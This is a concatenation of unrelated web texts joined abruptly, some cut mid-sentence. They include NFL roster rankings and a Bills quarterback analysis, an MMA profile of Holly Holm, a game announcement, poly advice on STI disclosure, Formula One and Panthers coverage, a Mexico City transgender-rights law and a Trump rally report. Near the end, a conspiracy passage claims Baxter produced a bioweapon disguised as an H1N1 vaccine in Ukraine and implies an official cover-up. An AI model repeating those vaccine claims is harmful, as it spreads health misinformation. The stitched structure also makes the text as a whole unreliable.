The Vikings are yet another defense-led squad with the kind of talent to overcome a question mark at QB and hoist the trophy at the end of the season. Mike Zimmer's defensive crew features at least two disruptive playmakers on every level, which elevates the overall play of the group.
4) SEATTLE SEAHAWKS
Blue players: Russell Wilson, QB; Jimmy Graham, TE; Sheldon Richardson, DT; Michael Bennett, DE; Bobby Wagner, LB; K.J. Wright, LB; Richard Sherman, CB (IR); Earl Thomas, S; Kam Chancellor, S.
The Seahawks have mastered the art of "draft and develop" during the Pete Carroll/John Schneider era, as Seattle has uncovered hidden gems in the draft who have become diamond-level players. But the Seahawks have also helped a handful of castoffs rediscover their game in the Pacific Northwest. Although the defense is aging and showing some signs of decline, the 'Hawks remain a viable contender due to their overall talent on that side of the ball.
5) PITTSBURGH STEELERS
Blue players: Ben Roethlisberger, QB; Le'Veon Bell, RB; Antonio Brown, WR; Maurkice Pouncey, C; David DeCastro, G; Cam Heyward, DE; Ryan Shazier, LB.
The Steelers have fielded one of the NFL's most explosive offenses over the past few years, thanks to a transcendent trio and fine line play. The Ben-Bell-Brown combination is lethal on the perimeter, but the team's interior blockers are just as deadly at the point of attack. On defense, Shazier and Heyward anchor a rejuvenated unit that's beginning to flex its muscles as one of the league's best.
6) NEW ORLEANS SAINTS
Blue players: Drew Brees, QB; Mark Ingram, RB; Alvin Kamara, RB; Michael Thomas, WR; Terron Armstead, OT; Cam Jordan, DE; Marshon Lattimore, CB; Kenny Vaccaro, S.
The Saints' exceptional 2017 draft class has elevated the talent, playmaking and athleticism on the roster. Most importantly, the youngsters have shored up the team's biggest voids and given Sean Payton's squad a chance to compete at a level few expected prior to the season. With Brees capable of winning any "one and done" shootout on the strength of his right arm, New Orleans' revamped supporting cast is good enough to get No. 9 a second ring.
7) DALLAS COWBOYS
Blue players: Dak Prescott, QB; Ezekiel Elliott, RB (SUS); Travis Frederick, C; Zack Martin, OG; Tyron Smith, OT; David Irving, DT; Demarcus Lawrence, DE; Sean Lee, LB.
Elliott's six-game absence could derail the Cowboys' title hopes, but there's a chance Jerry Jones' squad still makes a run at a postseason berth, based on the talent in the trenches. Normally, the offensive line takes center stage when discussing the Cowboys' wealth of riches up front, but the D-Line is emerging as quite a force in 2017. Lawrence and Irving are playing like all-stars at the point of attack, exhibiting the kind of pass-rush ability and sack production that leads to late-season success.
8) CAROLINA PANTHERS
Blue players: Cam Newton, QB; Christian McCaffrey, RB; Greg Olsen, TE (IR); Ryan Kalil, C; Trai Turner, OG; Kawann Short, DT; Luke Kuechly, LB; Thomas Davis, LB.
Say what you want about Newton's shortcomings as a passer -- he remains an elite-level playmaker in this league due to his remarkable scoring prowess as a dual-threat terror. Cam adds a dimension to the offense with his running skills, which makes McCaffrey and Olsen (when healthy) more dangerous as complementary weapons in the passing game. On defense, Kuechly and Davis are a devastating wrecking crew behind Short. They are the lynchpins to a unit that's far more aggressive and disruptive under first-year defensive coordinator Steve Wilks.
9) ATLANTA FALCONS
Blue players: Matt Ryan, QB; Devonta Freeman, RB; Julio Jones, WR; Alex Mack, C; Dontari Poe, DT; Vic Beasley, OLB; Deion Jones, LB; Desmond Trufant, CB; Keanu Neal, S.
The Falcons have experienced a bit of a Super Bowl hangover this season, but the talent remains in place to make another push for the title. Although Ryan and Jones aren't necessarily playing their best in 2017, they're still dangerous playmakers capable of sparking a January run with their individual and collective talents. Defensively, Beasley and Neal are bright spots on a young, athletic defense that's starting to come into its own in Marquand Manuel's first season as a defensive play caller.
10) KANSAS CITY CHIEFS
Blue players: Alex Smith, QB; Kareem Hunt, RB; Tyreek Hill, WR; Travis Kelce, TE; Chris Jones, DT; Justin Houston, OLB; Marcus Peters, CB; Eric Berry, S (IR).
Andy Reid's creativity has been unleashed with a roster that features versatile playmakers on both sides of the ball. Smith has found his groove as the director of a spread-like offense that showcases the unique talents of Hill and Kelce on the perimeter, as well as Hunt in a variety of ways. On defense, Peters headlines a unit that features a dominant pass rusher and disruptive interior defender.
BILLS' QUARTERBACK CHANGE: How'll Peterman fit in this offense?
It's uncommon for a team in the thick of a playoff race to suddenly swap out its QB1, but the Buffalo Bills made the surprising decision to bench starter Tyrod Taylor in favor of Nathan Peterman ahead of this week's battle with the Los Angeles Chargers. Although I've been around the NFL long enough to know that anything can happen in this business, I was absolutely shocked Buffalo sat down a veteran with a 10:3 touchdown-to-interception ratio, 91.4 passer rating and dynamic running skills for a rookie fifth-rounder with minimal game experience.
Granted, Taylor isn't a classic pocket passer with a game ideally suited for a traditional offense, but he is an electric dual-threat playmaker with 1,385 rushing yards and 13 rushing touchdowns as the team's starter over the past two-and-a-half seasons. The seventh-year pro complemented those numbers in Buffalo with 7,742 passing yards on the strength of a 63.0 percent completion rate and a 93.5 passer rating. As one of only three quarterbacks with 45-plus passing touchdowns and 10-plus rushing touchdowns since 2015 (along with Cam Newton and Kirk Cousins), Taylor was unquestionably the Bills' No. 1 playmaker on offense.
To be fair, it is hard to ignore the team's underwhelming pass numbers under Taylor's direction. The Bills currently rank 30th in pass offense (180.4 yards per game), 23rd in passing yards per attempt (6.7) and 24th in passing touchdowns (11). Not to mention, the aerial attack has produced just 25 completions of 20-plus yard this season, which ranks 22nd in the league.
With Taylor's contract calling for a $6 million roster bonus and a $10 base salary in 2018, the Bills decided to pull the plug on the veteran and give their first-year QB a chance to prove his worth. It seems Taylor isn't in the organization's long-term plans and the Bills want to see what they have in their young backup, with the 2018 draft class likely to feature a number of intriguing options at the position.
Peterman, the 171st overall pick this past April, is a classic pocket passer with C+ arm talent. Although he lacks the cannon to push the ball to every area of the field, he is a rhythm passer adept at getting the ball "out and up" quickly on deep throws. As a "connect the dots" passer from the pocket, Peterman is at his best working the short and intermediate areas of the field. Peterman's ability to rapidly work through progressions -- and get to his second or third option -- made him an effective passer at Pitt. He completed 61.1 percent of his passes and posted a 47:15 TD-to-INT ratio while averaging 8.3 yards per attempt during his two-year stint as a starter. Those numbers were complemented by the 518 rushing yards and three rushing scores Peterman amassed while directing Panthers' unique pro-style offense, which featured a lot of misdirection action (jet sweep) and option plays in the backfield. Although he isn't an A-level athlete or an explosive dual-threat playmaker, Peterman has enough mobility and movement skills to be a competent runner on zone-read plays and some designed quarterback runs.
As a pro, Peterman played well enough in the preseason to earn the backup job coming out of camp. He completed 54.4 percent of his passes, posted a 75.6 passer rating and finished the exhibition season with one touchdown and zero picks. Peterman effectively worked the ball over the middle of the field on an assortment of seams, quicks and checkdowns. He didn't hesitate to get the ball out of his hands and his quick processing skills allowed the offense to stay on schedule when receivers won on the outside. For a rookie quarterback, that's significant because it shows his coaches he understands where to go with the ball, which is a big part of playing the position successfully at the NFL level.
During limited relief work against the Saints last Sunday, Peterman showed promise. In a little over four minutes of action, he completed seven of 10 passes for 79 yards and a score. Despite running up those numbers in garbage time against soft coverage, Peterman was decisive and efficient getting the ball to the team's playmakers. He showed a solid grasp of the offense and the progressions in the passing game, which is essential to moving the ball consistently against quality defenses.
"I've been impressed with Nate and his maturity at a very early point in his career," Bills head coach Sean McDermott said at a press conference announcing the QB change. "He has certainly worked hard.... The other day, we [saw] some good things, albeit it was a small sample size in a regular season. That said, he has a lot of work to do, just like we all do.
"Nate's come in, he's handled himself well. He handled himself well in the game the other day. He's poised, he's mature beyond his years, he's worked hard.... The success that he's had to this point, he's ready. I wouldn't make this move if I didn't think that he was ready."
Peterman could indeed be ready, generally speaking, but I have concerns about a rookie quarterback at the helm of this offense. The newly minted starter has a more traditional game that will alter the way defenses attack the Bills and their 15th-ranked running game. Instead of assigning a defender to monitor the quarterback on zone-read plays, defensive coordinators will use the extra man to crowd the box and neutralize LeSean McCoy. When this plus-one approach is combined with man coverage on the outside, the Bills could face as many as nine defenders in the box on obvious run downs.
With that in mind, Peterman must be able to threaten opponents with the deep ball to keep the safeties from creeping near the line of scrimmage. If he is able to get the ball to Kelvin Benjamin or Jordan Matthews on a handful of vertical routes, defensive coordinators will pause a bit before condensing the field with the loaded boxes. Thus, the pressure is also on the Bills' receivers to win their one-on-one battles on the outside against press coverage. Considering the lack of speed and explosiveness Benjamin and Matthews bring to the table, Peterman's back-shoulder-fade game will need to be on point for Buffalo's offense to flourish.
Of course, Buffalo isn't the only team with serious quarterback questions swirling this week...
VIKINGS' QB CONUNDRUM: Only a matter of time before Teddy's starting
Minnesota head coach Mike Zimmer has guided his team to the top of the NFC North through the first 10 weeks of the season, but how he handles his quarterback situation could determine whether or not the Vikings will remain in contention down the stretch. The grizzled coaching veteran has to decide if he should continue to ride a perennial QB2 in the midst of a hot streak or hand the reins over to the team's former franchise quarterback who is just |
right into it. I’ve only had [eight] fights in MMA ever -- and zero grappling tournaments. And people talk about fighting for the title, so I do feel like I’m on an accelerated path. But I don’t really want it any other way. I’d rather just take the challenge. I don’t want to be a paper champion.”And don’t think for a second that the championship aspirations have subsided within Holm’s camp. While Winkeljohn is more measured than Fresquez, he has no doubts that his longtime pupil is on the right path.“I think it will be next year. I think it’ll be a 2016 thing,” Winkeljohn said. “She’ll have that belt around her waist. I’m a believer in Holly Holm. She’s always overcome. She works harder than anybody in the gym.”If Holm’s bandwagon is a little less full than it was five months ago, as a longtime combat sport athlete, she understands that comes with the territory. In the long run, it isn’t going to change her approach.“I’ve had plenty of that pressure, and I’ve had a ton of negativity in boxing. It’s not something that ever bothers me. I’m gonna do it regardless of what people say. Most of the people behind the computers are not doing what I do and don’t understand it anyway,” she said. “It really has no effect on me.”MMA history is littered with flash-in-the pan stars who burned out shortly after they arrived. Holm may not have made the greatest first impression, but in her mind, that only means the best is yet to come.It won’t be much longer until Slime-san appears on Switch. Today, publisher Headup Games announced that the action-platformer is set to debut on Nintendo’s console next week.
Slime-san is coming to Switch on August 3 via the eShop. HD Rumble will be supported, and the multiplayer mini-games can be played locally with one set of Joy-Con.
We’ve included more details about Slime-san below, along with a new Switch trailer for the game.
About Slime-San Slime-san was minding his own business, sliming around in a peaceful forest when suddenly…A giant worm appeared and gobbled him up! Now deep within the worm’s belly, Slime-san has to face a decision: Be digested by the incoming wall of stomach acid… Or jump, slide and slime his way through the worm’s intestines and back out its mouth! Features
– Incredibly fast-paced and twitch-timing platforming madness!
– No time to stay still as you are chased by a wall of acid at every corner! Run, run, run!
– Being a slime has its perks. Slime your way through cracked walls and surfaces!
– Bust through brittle obstacles or tense situations with a speedy dash move.
– Slime to slow time, dash to speed it up. Feel like an absolute badass with pixel precise maneuvers!
– A game filled with content: 100 levels made out of 400 rooms combined with 100 new game+ levels totalling to a staggering 200 levels and 800 rooms!
– Collect partially-digested apples to unlock different play styles, outfits, shaders and mini-games!
– Get your shopping done in a town of survivors within the worm, home to colorful characters and surprising secrets.
– Each level is timed with online rankings, for the competitive and score-oriented.
– Unlock extra game modes like New Game+, Speed Running and Boss Rush modes!
– Get engrossed in a unique, 5 colored, pixelated world…found… within… the worm?
– Adhesive Wombat, Tiasu, Meganeko, Kubbi, Inverse Phase, Richard Gould… Over 10 composers contributed with over 20 songs for a chiptune album that you can’t help but groove out to!
Source: Headup Games PR
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PocketTalking about your sexual history with a new partner is best done early and honestly.
A few months ago, a friend messaged me to ask for advice. This friend was in a bit of a bind, and wanted an outside opinion. My friend, who has been poly for a long time, has a partner who has started a relationship with someone new. This new someone disclosed that they were HSV2+, which is the virus that causes genital herpes. My friend wasn’t sure how to handle this news, and asked me for advice.
Non-poly people, and folks new to our world, often ask about how polys handle the reality of sexually transmitted infections (STI); specifically, how to protect yourself and your partners, and how to negotiate acceptable risk.
You don’t want your first conversation with your partner about sexual health to happen because someone brought home the wrong kind of crabs.
Let’s take the second part first: negotiating acceptable risk. Like everything else in a relationship, you have to talk to your partner/s about STIs, preferably before you ever have a problem with them. You don’t want your first conversation with your partner about sexual health to happen because someone brought home the wrong kind of crabs. Flippancy aside, as difficult as this subject can be to talk about, you don’t want to make an extremely tense topic to talk about even more so by waiting until a crisis hits.
STIs are one of those things that I try to get out on the table with a potential new partner as soon as possible, especially if I want to have a sexual relationship with them. In my case, HPV is in my sexual history. I may or may not be a carrier, and there is no real way to know for sure either way. It behooves me to tell potential sexual partners this, so they can decide what their level of acceptable risk is for themselves. For some people, it won’t matter at all. Maybe they already have it (or had it). Lots of humans fall into that category. Maybe they won’t want to have any kind of sexual contact with me at all. But this person deserves to make an informed decision, right? You’ve got to find each other’s comfort zones, and then honor them.
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Here’s the hard part. You have to be OK with rejection. It doesn’t matter if you think their response is unreasonable, or illogical, or fair. It doesn’t matter if you think this is your new soulmate, the first person you’ve crushed on in years, or whatever. That person gets to decide what is acceptable for them. I’m not saying you shouldn’t educate them. There’s lots of misinformation out there about STIs, as I found out about HPV. When I was dealing with that, I quickly discovered that most of what I thought I knew was wrong. Be careful not to step over the line into “pushy”, because you don’t want to be That Guy (or Girl), either. But if they say no, you have to accept it. And as much as it sucks to be rejected for any reason, you are far better off getting that out of the way as quickly as possible, before anyone involved gets really invested.
You have got to be OK with setting your boundaries. Only you can decide for yourself what risks you are willing to take. After all, this is your body and health we’re talking about here. Not to mention your other partners’, if you have some. And that is the advice I gave my friend. It is up to every new couple who begin a sexual relationship to decide what their acceptable level of risk is, to themselves and to their other lovers. You have to be OK with ending a relationship before it goes too far, if the risk is too great. No one can or should try to force anyone else to decide what they want.
♦◊♦
This is another one of those “poly questions” that is really a “relationship question.” It doesn’t matter if you are poly or not, straight or not, whenever you begin a new relationship with someone, the STI question has to be dealt with. Unless your new love interest is a virgin, he or she’s got a history. And unless you are, so do you. Establishing open communication right from the beginning will only help your relationship in the long run.
The first part of the question—how to protect yourself from STIs—is easier, since I don’t have to answer it. Getting information about STIs and how to protect yourself has never been easier than in the Digital Age. I have to assume if you are reading this then you have reliable access to a computer. There are tons of resources available, from sites like Planned Parenthood or the CDC to blogs such as the excellent STD Project, a blog dedicated to educating the public about STDs and reducing the stigma attached to them. If you really cannot get online much, there are still plenty of resources available. Planned Parenthood is an excellent place to get information from. Even if you don’t have a local clinic, write to them and they’ll help you if they can. Your personal care physician, ON/GYN, local walk-in clinic or hospital can also help.
—Photo credit: Big Al/FlickrThe ground underfoot was still wet as more than 90,000 Tifosi made their annual pilgrimage to Monza's royal park on Sunday morning. Rain during qualifying had left their beloved Ferraris fifth and sixth on the grid, but it's often said that hope springs eternal in this part of the world and Saturday's disappointment hadn't dampened their spirits. For the first time in five years, the Italian Grand Prix race programmes showed a Ferrari driver leading the championship in early September, and there was still the possibility that the SF70-H might come good in dry conditions.
Ferrari's seven-year victory drought on home turf has left the Tifosi battle-hardened, but the sight of scarlet bodywork exiting the Parabolica for the first time is still enough to raise the roof on Monza's aging grandstands. The atmosphere on the grid at the Italian Grand Prix is unlike any other in Formula One, and the cheer that met Sebastian Vettel and Kimi Raikkonen as they were rolled through the chaos to their starting positions was only matched in volume by the boos for Lewis Hamilton and Valtteri Bottas.
LUCA BRUNO/AFP/Getty Images
By comparison, the 75 minutes of racing that followed was an anti-climax. The promise of a Ferrari win was always distant at the weekend, but the extent of the defeat was unexpected. In a season in which the margins between Hamilton and Vettel have so often been measured in tenths, the Tifosi overlooking the pit straight had to wait 36 seconds between Hamilton taking victory and Vettel securing third.
"Mercedes power is definitely better than Ferrari power!" Hamilton said on the podium after receiving boos and jeers from the crowd below. The comments were made in jest, but there was no denying their truth; the combination of Mercedes' latest power unit and the W08's trimmed-out aero package was unbeatable on Sunday and no level of support or intimidation from the crowd was going to change that.
A race Ferrari was never going to win
www.sutton-images.com
But if you strip away the emotion of Sunday's proceedings, it's easy to argue that Vettel left Monza with his mission accomplished. A third place finish yields 15 points whether a driver is one second off the lead or 60, and Ferrari knew ahead of the Italian Grand Prix that it was going to be Mercedes' one-two victory to lose.
Ever since the early design principles of this year's car were sketched out in early 2016, the Mercedes was always set to have an innate advantage at tracks like Monza, just as Ferrari has been the team to beat on high-downforce, slow-speed circuits, like Monaco and the Hungaroring. Throughout the season the W08 has lacked peak downforce compared to the Ferrari, but it has enjoyed a much better trade-off between downforce and drag. Monza is an outlier on Formula One's downforce spectrum - sitting at the extreme as a low-drag circuit - but non-draggy downforce is still very useful in the corners. So not only was the Mercedes fast on the straights, it was also able to generate sufficient downforce to make Hamilton and Bottas faster than anyone else in Monza's high-speed corners.
"Everyone talks about Monza and Monza wings," Mercedes boss Toto Wolff explained after the race, "and you could see that on some of our competitors, like Red Bull, they experimented with a very low downforce wing in Spa and I think the one they had here was flat.
"Yes, there was a Monza package [for Mercedes], but it wasn't down to a low downforce configuration. Our car was very strong through the corners, every type of corner and that is encouraging."
With less than a quarter of the race complete, both Mercedes drivers turned down their engines to preserve them for a future battle. Job done.
Not only had Mercedes conquered Ferrari on home turf, it had done so by a significant margin.
Turning the tables
Sutton Images
That will, of course, be of some concern to Maranello, which had designed a much less efficient low-drag aero package than its main rival and saw its deficiencies brutally exposed in front of its home crowd. But the wings that ran in Monza will not be needed again this season -- even the long straights of Mexico City require a much higher setting in order to generate the necessary downforce from the thin air at 2,250 metres -- and are now as much a part of the team's history as the 1947 Ferrari 125 Vettel rode in on Sunday's driver parade.
There will be lessons learned for next year's Italian Grand Prix, but there is no reason to believe that Vettel will be more than 30 seconds off Mercedes at any of the remaining races this season. On the contrary, the next round in Singapore is a high-downforce track where drag becomes a secondary concern and steep wing angles return to maximise downforce through the street circuit's 23 corners.
"Plenty of positives"
Dan Istitene/Getty Images
Looking back at the last two races, Vettel finished second and third on two tracks where he could have reasonably expected to finish third twice. What's more, he finished ahead of the Red Bulls, which are becoming increasingly competitive and would have likely beaten Vettel had the grid not been rearranged by engine penalties on Saturday night. With those 33 points secure on Mercedes' strongest tracks, the tables are set to turn in Singapore when Hamilton and Bottas are more likely to feel the pressure from the ever-improving Red Bull.
"At the moment you can say that Mercedes has an edge," Vettel said after Sunday's race. "Saturdays they're very strong which obviously has its contribution to Sundays, but it's not a big secret. I think we are strong, we don't need to hide and there's plenty of positives.
"Things are coming, I'm sure they are developing their car but we are developing ours so I'm not so fussed about what they doing. I'm more focused on what's going on inside us, inside Ferrari and it makes me quite positive, what's coming. We just need to see and then there's always the extra element of racing that you can't predict, that you can't put down on paper and that's usually the most exciting bit so I'm very much a fan of that and a fan of the moment and see what we can do."
As painful as the 36-second gap at Monza was, Ferrari knows it was not a true reading of the balance of performance between its car and Mercedes'. Hamilton has made the most of his team's strongest tracks at the start of the second half of the season, but now it is Vettel's turn to do the same at Ferrari's. Bring on Singapore.“I know the narrative is we don’t have a lot of good players, but I don’t think that’s necessarily the truth,” tight end Greg Olsen said last week.
Carolina’s 38-10 victory over Tampa Bay Sunday, gave the Panthers home-field advantage throughout the NFC playoffs.
Olsen is one of 10 Panthers recently named to the Pro Bowl. Quarterback Cam Newton, a fellow Pro Bowler, is also among the top contenders for the Most Valuable Player Award, along with Tom Brady of New England and Carson Palmer of Arizona. But it is worth noting that none of Newton’s wide receivers were selected for the all-star game in Hawaii.
Perhaps no position on the Panthers has been more disparaged than wide receiver. The Panthers entered the season without a clear No. 1 or No. 2 wideout for Newton, who received a five-year, $103.8 million contract extension in the offseason, becoming one of the highest-paid players in the game.
How could the Panthers be that good when their best receiver, Kelvin Benjamin, tore a knee ligament in the preseason and was lost for the year?
When their default No. 1, the speedy Ted Ginn Jr., was a free-agent pickup who had been cut after a disastrous season with Arizona in 2014?
When their No. 2, Corey Brown, was a free-agent rookie in 2014 and had only 21 catches?
When their No. 3, Jerricho Cotchery, 33, was eight years removed from his lone 1,000-yard season, with the Jets in 2007?
Of course, Newton had Olsen, one of the NFL’s best tight ends. It is no surprise that he has 77 catches for 1,104 yards and seven touchdowns this season. The Panthers’ receiving corps, though, has been unexpectedly good.
Newton finished with 35 touchdown passes (his previous high was 24) and a 99.4 quarterback rating. Newton has spread the ball around — Ginn is the only Panthers wide receiver ranked among the top 100 in receptions in the NFL this season. He finished with 44 catches, and has 739 receiving yards.
A first-round draft pick of Miami in 2007, Ginn has played for four NFL teams. He is on his second stint with Carolina, having managed just 14 catches with Arizona last season.
“Arizona was Arizona,” said Ginn, who had 36 catches for 556 yards and five touchdowns with the Panthers in 2013. “You fall into a system sometimes, and the system doesn’t work for you. That’s all I can really say about that. I was eager to come back and play. I just wanted to play football. It wasn’t nothing to prove to nobody. It was just a joy for Ted Ginn Jr. to come and play football, and knowing that I could come to a team that was going to use me the way Ted Ginn Jr. is supposed to be used.”
Although Ginn has a history of dropping passes — he was second in the league this season, with 10 before Sunday’s game — he also has a career-best 10 touchdown receptions. In nine years in the NFL, Ginn has 21 touchdown catches. Fifteen have come in his two seasons with the Panthers.
“I think Cam has a tremendous amount of trust in him,” the Panthers’ wide receivers coach, Ricky Proehl, said, referring to Ginn. “If he drops a ball here or there, he’s going to come back to him.”
Proehl added: “He’s got the physical attributes. It’s been mental with him, getting down on himself. Now he knows he’s got to let it go, move on to the next play.”
Cotchery, who spent seven seasons with the Jets, has 39 catches and is an option mainly on third downs and in the red zone. He made a winning touchdown reception against New Orleans in December. Brown has added 31 catches and four touchdowns.
Almost unnoticed is Devin Funchess, a rookie second-round pick out of Michigan who, at 6 feet 4 inches and 225 pounds, was supposed to be a bookend with the 6-foot-5, 243-pound Benjamin. Funchess was slowed by injuries early in the season, but he has 31 catches for 473 yards and four touchdowns.
If there is a wild card to this playoff run, it might be Funchess.
“I think he can be an X-factor-type player for you, because there’s not a lot about him that people know,” Panthers coach Ron Rivera said. “He’s a young guy that’s been developing for us, has come in in some key situations, has caught some big touchdown passes for us and some tough catches.
“If he gets rolling, continues to do things he’s been doing, he could be. He could have that kind of an impact.”
For now, though, the Panthers’ wide receiver corps — which lacks the kind of presence that Larry Fitzgerald provides for Arizona — is not likely to throw fear into the opposition in the playoffs. Even with the dominant season Newton has had, a question remains: Can the Panthers win a Super Bowl with those guys?
With that question comes motivation.
“Since Day 1,” Newton said, defending his receivers, “we kind of pride ourselves in playing with a chip on our shoulder.”
That chip is unlikely to go away any time soon.Email Share +1 6K Shares
Mexico City lawmakers on Thursday approved a bill that would allow transgender people to legally change their gender without a court order.
Members of Legislative Assembly of the Federal District, in which Mexico City is located, approved the measure by a 42-0 vote margin. Six lawmakers abstained from the vote on the measure that Mexico City Mayor Miguel Ángel Mancera proposed.
Manuel Granados Covarrubias of the Party of the Democratic Revolution, known by the Spanish acronym PRD, welcomed the proposal’s approval.
“It eliminates cumbersome trials and judicial proceedings, procedures, to generate the administrative change of a legal action to which everyone has the right,” said Granados in a press release the Legislative Assembly of the Federal District released after lawmakers approved the measure. “Their dignity is also recognized.”
The Mexico City Commission to Prevent and Eliminate Discrimination, known by its Spanish acronym COPRED, launched a campaign in support of the measure.
COPRED spokesperson René Said Nieto told the Washington Blade that Mexico City on Thursday “took a major step forward” towards the recognition of trans people.
“(The measure) guarantees the rights of people to the recognition of their gender identity,” said the Human Rights Program of the Federal District in a statement.
Mexico City is the first city in Latin America to allow trans people to legally change the gender on their birth certificates without a medical examination. The Mexican capital’s comprehensive anti-discrimination law already includes gender identity and expression and designates transphobia as a form of discrimination.
Argentina President Cristina Fernández de Kirchner in 2012 signed a law that allows trans Argentinians to legally change their gender on official documents without sex-reassignment surgery and an affidavit from a doctor or another medical provider. The Chilean Senate next week is expected to vote on a bill that would allow trans people in the South American country to legally change their name and sex without sex-reassignment surgery.
Supporters of Mariela Castro, daughter of Cuban President Raúl Castro, credit her with successfully lobbying her father’s government to begin offering free sex-reassignment surgery under the country’s national health care system in 2008.MIAMI Republican presidential nominee Donald Trump stirred controversy once again in Miami Friday night, making vague insinuations about what would happen if Hillary Clinton’s bodyguards had their guns taken away.
Trump buries "birther" issue -- sort of
“She wants to destroy your Second Amendment,” Trump said, starting on a familiar refrain.
“Guns, guns, guns, right? I think what we should do is she goes around with armed bodyguards, like you have never seen before. I think that her bodyguards should drop all weapons. They should disarm, right? Right? I think they should disarm. Immediately, what do you think? Yes? Yes. Yeah. Take their guns away! She doesn’t want guns. Take their - let’s see what happens to her. Take their guns away. Okay, it would be very dangerous.”
CBS News' Major Garrett calls out Donald Trump "birther" event
Trump uses "birther" debate to promote new hotel in Washington, DC
The boisterous crowd yelled as Trump suggested disarming Clinton’s bodyguards, something he has said in the past. It continued cheering when he said, “Let’s see what happens to her.”
It wasn’t the first time Trump had expressed a similar sentiment.
At the National Rifle Association convention in May, Trump said, “So Americans use guns to defend themselves against violent crime more than a million times a year, okay. More than a million times a year. And they want to take them away, heartless hypocrites like the Clintons want to take this and get rid of guns, and yet they have bodyguards that have guns. So I think that in addition to calling for them to name judges, we’ll also call them and let their bodyguards immediately disarm.”
Trump continued:
“Okay? They should immediately disarm. And let’s see how good they do. Let’s see how they feel walking around without their guns on their bodyguards.”
Just weeks ago - at another rally in early August, Trump ignited another firestorm while talking about the Second Amendment.
“Hillary wants to abolish, essentially abolish the Second Amendment,” Trump said in Wilmington, North Carolina. “If she gets to pick her judges, nothing you can do folks. Although the Second Amendment people. Maybe there is. I don’t know.”
Trump’s critics slammed the comments as potentially inciting violence against Clinton, an accusation that Trump vigorously denied. Trump also denied reports in the aftermath that the Secret Service had a conversation with him about those comments.
The rally was in Miami, where the large Cuban population means President Barack Obama’s normalizing of relations with Cuba remains a hot topic.
“We’re also going to stand with the Cuban people in their fight against communist oppression,” Trump said. He said that the normalization with Cuba was a “one-sided” deal that “benefits only the Castro regime.”
He went so far as to suggest he would reverse the deal in office unless the Castro regime meets Trump’s demands, which now include “religious and political freedom for the Cuban people and the freeing of political prisoners.”
This seemed to mark a shift in Trump’s tone on Cuba over the last year. Asked in September of 2015 by the Daily Caller if he opposed normalizing relations with the island nation, Trump said, “I think it’s fine. I think it’s fine, but we should have made a better deal. The concept of opening with Cuba — 50 years is enough — the concept of opening with Cuba is fine.”
In March, Trump told CNN that he would likely continue the normalization process with Cuba in office.
“Probably so,” Trump said when asked if he would continue to normalize economic and diplomatic relations. “But I’d want much better deals than we’re making.”
Trump’s recently professed hardline stance now seems to align him further with more traditional Republican thinking, especially policies espoused by Florida’s home state senator, Marco Rubio, once Trump’s former foe in the primary and now reluctant supporter.
Trump’s speech in Miami came on the same day that Trump held a bizarre press conference at his new hotel in Washington. After teasing on Fox Business that he would be making a big announcement about the debunked birth movement, of which Trump was a vocal leader, he spent time promoting the hotel and then lined up military veterans to praise him.
Finally, at the end of the event, Trump gave a cursory statement falsely claiming that Clinton started the birther movement and that he finished it.
“Now, not to mention her in the same breath, but Hillary Clinton and her campaign of 2008 started the birther controversy,” Trump said. “I finished it. I finished it. You know what I mean. President Barack Obama was born in the United States. Period. Now we all want to get back to making America strong and great again. Thank you.”
With that, Trump walked away from the microphones. There was neither an apology, nor any mention of his vocal cheerleading for years - as recently as 2015 - of the birther movement. He did not say why his opinion changed or when. He had spent more time discussing his hotel than the birther issue.Flashback
He said that Baxter’s Ukrainian lab was in fact producing a bioweapon disguised as a vaccine.
Flashback
"Kiev - The death toll from a swine flu outbreak in Ukraine rose to 34 on Saturday, as the government announced new measures to control the spread of the virus.Two of the victims were infants, Health Minister Vasyl Kniazevych told Channel 5 television.As of Saturday morning, the flu was thought still to be limited in to the country's western provinces, but because of the number of suspected cases, a spread was likely, he said.""August 21, 2009 - Today, the MSM are not talking about this case any more. Yesterday, they wanted us to believe that Joseph Moshe was a nutcase and a terrorist, arrested for threatening to bomb the White House. Interesting detail about his arrest (the “Westwood standoff”) was that he seemed to be immune to the 5 cans of tear gas and 5 gallons of law-enforcement grade pepper spray they pumped into his face. He very calmly remained in his car, as the video footage of his arrest shows.Professor Moshe had called into a live radio show by Dr. A. True Ott, broadcast on Republic Broadcasting claiming to be a microbiologist who wanted to supply evidence to a States Attorney regarding tainted H1N1 Swine flu vaccines being produced by Baxter BioPharma Solutions.He claimed that the vaccine contained an adjuvant (additive) designed to weaken the immune system, and replicated RNA from the virus responsible for the 1918 pandemic Spanish flu, causing global sickness and mass death.Sources tell us that Bar-Joseph Moshe made no threat against the President or the White House. He did not mention any bomb or attack. He then proceeded to inform the White House he intended to go public with this information. When he noticed men in suits in front of his house and feared that the FBI was about to detain him, he packed some belongings into his car and, him being a dual Israeli citizen, tried to reach the Israeli consulate located in close proximity to the federal building where the standoff took place. The FBI and the bomb squad prevented him from reaching it. Who is this man? His profile on biomedexperts.com says he is a plant disease expert with many publications on his name involving the genetic manipulation of virii."- MSM story about the incidentSo did this man have something extremely important to disclose or was he a dangerous terrorist who "threatened to bomb the white house"?Considering how officials have consistantly lied about terrorist threats we should take all their declarations with a large grain of salt. The fact of the matter was that he had called into a talk show and then the word came down from above to mount a gigantic operation to aprehend the man. The "neighbor" in the video above appears to be a plant specifically to bolster the offical version that has Moshe mentally unbalanced, off his "meds", not to be taken seriously. Apparently he was immediately sent to Israel. added - "An apc, at least 50 officers with weapons drawn, streets closed, apartments evacuated, fed building on lockdown, 8 hours plus to remove him from his RED BEETLE, all because he "threatened" the White House? From L.A.? In a red v dub? And he took 3 tear gas shells in that tiny car and was hosed with pepper spray? And he's not dead? ok... is it just me? Or does anyone else see something wrong with this picture?"But what about his assertion that Baxter was deliberately releasing tainted vaccines in Ukraine? Take a look at the story at the top. Then one more little flashback about another Baxter vaccine release:March 3, 2009"It could be a Hollywood Worst Case Thriller, but it is real: According to the scientific network PROMED,Donate
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In early September, SouthFront’s YouTube channel became a target of another attack.
The project work was blocked when the project’s channel received two community guidelines strikes. With two community guidelines strikes, SouthFront was not able to upload new videos on YouTube.
This was a clear violation of the freedom of speech and an attempt to eliminate the independent media.
On September 8, 2017, SouthFront’s war report video “Syrian War Report – September 8, 2017: US-led Coalition Rescues ISIS Commanders From Deir Ezzor?” was removed because it allegedly violated “YouTube Community Guidelines”. The video included no graphic content, but was nevertheless flagged and deleted.
On September 6, 2017, SouthFront’s channel received another community guidelines strike when Youtube deleted our video “Foreign Policy Diary ‘War on Terror’ [remastered]”.
